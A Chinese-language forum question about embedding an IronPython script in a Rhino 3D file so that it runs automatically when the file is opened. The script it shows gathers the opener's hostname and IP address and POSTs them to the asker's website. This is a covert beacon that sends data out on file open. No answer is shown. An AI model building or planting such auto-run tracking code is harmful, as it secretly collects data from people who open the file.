在Rhino文件中绑定/嵌入IronPython脚本,使脚本在Rhino或任何其他软件打开文件时执行。

2024-10-01 22:34:59 发布

您现在位置:Python中文网/ 问答频道 /正文

我想运行ironpython脚本来了解文件的打开位置,因此我编写了一个程序,该程序将为我提供打开文件的系统的ip地址

这是我的密码

import sys
import socket


hostname = socket.gethostname()
ipadd = socket.gethostbyname(hostname)

########################################################
from System.Net import WebRequest
from System.IO import StreamReader
from System.Text import Encoding

def UrlOpen(uri, parameters=None):
    request = WebRequest.Create(uri)
    if parameters is not None:
        request.ContentType = "application/x-www-form-urlencoded"
        request.Method = "POST"
        bytes = Encoding.ASCII.GetBytes(parameters)
        request.ContentLength = bytes.Length
        reqStream = request.GetRequestStream()
        reqStream.Write(bytes, 0, bytes.Length)
        reqStream.Close()

    response = request.GetResponse()
    result = StreamReader(response.GetResponseStream()).ReadToEnd()
    return result

print(UrlOpen("my website","pc-name="+hostname+"&ip="+ipadd))

这很好,但是我想把这个脚本绑定到我的项目/文件,这样当这个文件被打开/导入到3d软件中时,我上面的脚本就会运行


Tags: 文件fromimport程序ip脚本bytesrequest

热门问题